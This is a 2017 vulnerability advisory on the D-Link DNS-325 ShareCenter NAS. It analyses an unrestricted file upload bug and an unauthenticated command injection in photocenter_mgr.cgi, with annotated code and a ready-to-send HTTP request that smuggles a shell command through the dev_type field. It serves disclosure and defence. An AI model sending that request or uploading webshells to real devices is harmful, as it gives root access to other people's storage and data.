D-Link DNS-325 ShareCenter 1.05B03 Shell Upload / Command Injection

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Phosphorus Cybersecurity, Inc.   
  
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# D-Link DNS-325 ShareCenter Multiple Vulnerabilities #  
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Released Date: 2017-XX-XX  
Last Modified: 2017-06-22  
Company Info: D-Link  
Version Info:   
Vulnerable  
D-Link DNS-325 ShareCenter <= 1.05B03  
  
  
--[ Table of contents  
  
00 - Introduction  
00.1 Background  
  
01 - Unrestricted File Upload  
01.1 - Vulnerable code analysis  
01.2 - Remote exploitation  
  
02 - Command Injection  
02.1 - Vulnerable code analysis  
02.2 - Remote exploitation  
  
03 - Credit  
  
04 - Proof of concept  
  
05 - Solution  
  
06 - Contact information  
  
  
--[ 00 - Introduction  
  
The purpose of this article is to detail the research that Phosphorus has   
recently completed regarding the D-Link DNS 325 ShareCenter.  
  
--[ 00.1 - Background  
  
D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to   
use solution for accessing, sharing and backing up your important data.  
  
  
--[ 01 - Unrestricted file upload  
  
While researching the extent of a vulnerability previously discovered by   
Phosphorus, team member Tanner Cavanaugh noticed that the DNS-325 device is   
vulnerable to the same unrestricted file upload vulnerability as the other  
device that we were researching. The vulnerable code can be found within   
the following file:  
  
/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php  
  
The root of the problem here is due to the misuse and misunderstanding of  
the PHP gethostbyaddr() function used within PHP, by the developer of this   
particular piece of code. From the PHP manual this functions return values   
are defined as the following for gethostbyaddr():  
  
"Returns the host name on success, the unmodified ip_address on failure, or   
FALSE on malformed input."  
  
With a brief overview of the problem, let's have a look   
at the offending code in order to get a better understanding of what is   
going on with this particular vulnerability.  
  
--[ 01.1 - Vulnerable code analysis  
  
Below is the code from the vulnerable "multi_uploadify.php" script. You can  
see that we have annoted the code to explain what is happening.  
  
#BUG 01: Here the attacker controlled "Host" header is used to define the   
remote auth server. This is by itself really bad, as an attacker could  
easily just specify that the host be the IP address of a server that they  
are in control of. But, if we send it an invalid "Host" header it will just  
simply return FALSE as defined in the PHP manual.  
  
$ip = gethostbyaddr($_SERVER['HTTP_HOST']);  
$name = $_REQUEST['name'];  
$pwd = $_REQUEST['pwd'];  
$redirect_uri = $_REQUEST['redirect_uri'];   
  
//echo $name ."<br>".$pwd."<br>".$ip;  
  
#BUG 02: At this point, this request should always fail. The $result  
variable should now be set to FALSE.  
  
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?  
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));  
  
#BUG 03: Here an empty haystack is searched, and thus strstr() returns a  
value of FALSE.  
  
$result_1 = strstr($result,"<auth_status>0</auth_status>");  
$result_1 = substr ($result_1, 0,28);   
  
#BUG 04: The strncmp() call here is a strange one. It looks for a specific  
login failure. So, it never accounts for when things go wrong or slightly  
unexpected. As a result this "if" statement will always be skipped.  
  
if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 )  
//if (strstr($result,"<auth_status>0</auth_status>")== 0 )  
{  
header("HTTP/1.1 302 Found");  
header("Location: ".$redirect_uri."?status=0");  
exit();   
}  
  
#BUG 05: At this point all checks have been passed, and an attacker can use  
this issue to upload any file to the server that they want.  
  
The rest of the source code was omitted for the sake of breivity, but it   
just handles the file upload logic once the user passes the authentication  
checks.  
  
--[ 01.2 - Remote exploitation  
  
Exploiting this issue to gain a remote shell as root is a rather trivial  
process. All an attacker has to do is send a post request that contains a   
file to upload using the parameter "Filedata[0]", a location for the file   
to be upload to which is specified within the "folder" parameter, and of   
course a bogus "Host" header.  
  
We have written a Metasploit module to exploit this issue. The module will  
use this vulnerability to upload a PHP webshell to the "/var/www/"  
directory. Once uploaded, the webshell can be executed by requesting a URI  
pointing to the backdoor, and thus triggering the payload.  
  
  
--[ 02 - Command Injection  
  
There are a number of issues with the CGI's contained within the DNS-325  
file structure. The issues that we came across over and over were lack of  
authentication, as well as command injection. We will examine one of these  
issues, and leave the others as an excercise to the reader.  
  
  
--[ 02.1 - Vulnerable code analysis  
  
The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight   
forward command injection issue when calling the "cgi_set_airplay_device"  
function.  
  
size_t cgi_set_airplay_device()  
{  
int v0; // r4@3  
size_t v1; // r0@3  
const char *v2; // r0@3  
FILE *v3; // r5@5  
char *v4; // r0@6  
int v5; // r4@7  
signed int v6; // r6@7  
size_t result; // r0@13  
FILE *v8; // r4@11  
int v9; // [sp+10h] [bp-C84h]@1  
int v10; // [sp+410h] [bp-884h]@1  
int v11; // [sp+610h] [bp-684h]@1  
int v12; // [sp+810h] [bp-484h]@1  
char s; // [sp+A10h] [bp-284h]@1  
char v14; // [sp+B10h] [bp-184h]@1  
char v15; // [sp+B50h] [bp-144h]@1  
char v16; // [sp+B90h] [bp-104h]@1  
signed int v17; // [sp+B94h] [bp-100h]@2  
signed int v18; // [sp+B98h] [bp-FCh]@2  
signed int v19; // [sp+B9Ch] [bp-F8h]@2  
int v20; // [sp+BA0h] [bp-F4h]@2  
__int16 v21; // [sp+BA4h] [bp-F0h]@15  
char v22; // [sp+BA6h] [bp-EEh]@15  
char v23; // [sp+BD0h] [bp-C4h]@1  
char v24; // [sp+C10h] [bp-84h]@1  
int v25; // [sp+C50h] [bp-44h]@1  
int v26; // [sp+C54h] [bp-40h]@1  
char dest[4]; // [sp+C58h] [bp-3Ch]@1  
int v28; // [sp+C5Ch] [bp-38h]@1  
int v29; // [sp+C60h] [bp-34h]@1  
int *v30; // [sp+C64h] [bp-30h]@1  
  
memset(&s, 0, 0x100u);  
memset(&v12, 0, 0x200u);  
memset(&v24, 0, 0x40u);  
memset(&v23, 0, 0x40u);  
memset(&v11, 0, 0x200u);  
v30 = 0;  
memset(&v9, 0, 0x400u);  
*(_DWORD *)dest = 0;  
v28 = 0;  
memset(&v10, 0, 0x200u);  
v25 = 0;  
v26 = 0;  
memset(&v16, 0, 0x40u);  
memset(&v15, 0, 0x40u);  
memset(&v14, 0, 0x40u);  
cgiFormString("dev_name", &s, 256);  
cgiFormString("dev_type", &v24, 64);  
cgiFormString("dev_pw", &v23, 64);  
cgiFormString("type", &v25, 8);  
v30 = &v12;  
v29 = 512;  
printf_out("dev_name=[%s]\n", &s);  
printf_out("dev_type=[%s]\n", &v24);  
printf_out("dev_pw=[%s]\n", &v23);  
printf_out("type=[%s]\n", &v25);  
if ( !strcmp((const char *)&v25, "photo") )  
{  
LOBYTE(v20) = 0;  
*(_DWORD *)&v16 = 1886221359;  
v17 = 1919508783;  
v18 = 2036427888;  
v19 = 1819113518;  
}  
else  
{  
*(_DWORD *)&v16 = 1886221359;  
v17 = 'ria/';  
v18 = 2036427888;  
v19 = 1685414239;  
v20 = 2016309097;  
v22 = 0;  
v21 = 'lm';  
}  
v0 = 0;  
sprintf((char *)&v11, "rm -f %s", &v16);  
system((const char *)&v11);  
v1 = strlen(&s);  
v2 = (const char *)escape_label(&s, v1, &v30, &v29);  
cgi_api_SpecSymbol2BackSlash((char *)&v9, v2);  
sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/  
null", &v9, &v24, &v23);  
printf_out("[%s]\n", &v11);  
system((const char *)&v11);  
printf_out("filename[%s]\n", &v16);  
while ( 1 )  
{  
++v0;  
v3 = (FILE *)fopen64(&v16, "r");  
if ( v3 )  
break;  
printf_out("wait[%d]\n");  
sleep(1u);  
if ( v0 == 30 )  
{  
v6 = (signed int)v3;  
goto LABEL_9;  
}  
}  
fgets(&v15, 512, v3);  
fgets(&v15, 512, v3);  
fgets(&v15, 512, v3);  
fgets(&v14, 512, v3);  
v4 = index(&v14, 62);  
if ( v4 )  
{  
v5 = (int)(v4 + 1);  
v6 = 1;  
*index(v4 + 1, 60) = 0;  
strcpy(dest, v4 + 1);  
printf_out("res[%s]\n", v5);  
}  
else  
{  
v6 = 0;  
}  
fclose(v3);  
LABEL_9:  
sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25);  
if ( dest[0] == 48 && !dest[1] )  
{  
v8 = (FILE *)fopen64(&v16, "w+");  
fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, v8);  
sprintf(  
(char *)&v10,  
"<airplay><dev><![CDATA[%s]]></dev><dtype>%s</dtype><dpw><![CDATA[%s]  
]></dpw></airplay>",  
&s,  
&v24,  
&v23);  
fputs((const char *)&v10, v8);  
fclose(v8);  
}  
cgiHeaderContentType("text/xml");  
fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, (FILE *)  
cgiOut);  
if ( v6 == 1 )  
{  
result = fprintf((FILE *)cgiOut, "<info><status>%s</status></info>",   
dest);  
}  
else  
{  
system("kill `pidof airplay_daemon`");  
result = fwrite("<info><status>timeout</status></info>", 1u, 0x25u,   
(FILE *)cgiOut);  
}  
return result;  
}  
  
As we can see in the above psuedo code parameters taken from form input are  
use directly within a system call without being sanitized. This can be   
leveraged by an attacker to execute arbitrary commands as root.   
Authentication is not required to exploit this issue.  
  
--[ 02.2 - Remote exploitation  
  
Exploiting this issue is trivial. Authentication is not required to   
successfully exploit this issue and gain a remote root shell.  
  
  
POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1  
Host: 192.168.0.10  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Connection: close  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 62  
  
cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/phosphorus;"  
  
  
Simply sending a post request like the one above will successfully create a  
file named "phosphorus" in the /tmp directory as root.  
  
--[ 03 - Credit  
  
James Bercegay  
GulfTech Research and Development  
  
  
--[ 04 - Proof of concept  
  
  
--[ 05 - Solution  
  
  
--[ 06 - Contact information  
  
Web  
https://phosphorus.io/  
  
Mail  
[email protected]  
  
PGP Key  
http://www.phosphorus.io/pgp/security.asc  
~FD57E42382AC18AF04ACE251FB2D3C27A67FC9EB  
  
  
Copyright 2017 Phosphorus Cybersecurity, Inc. All rights reserved.  
  
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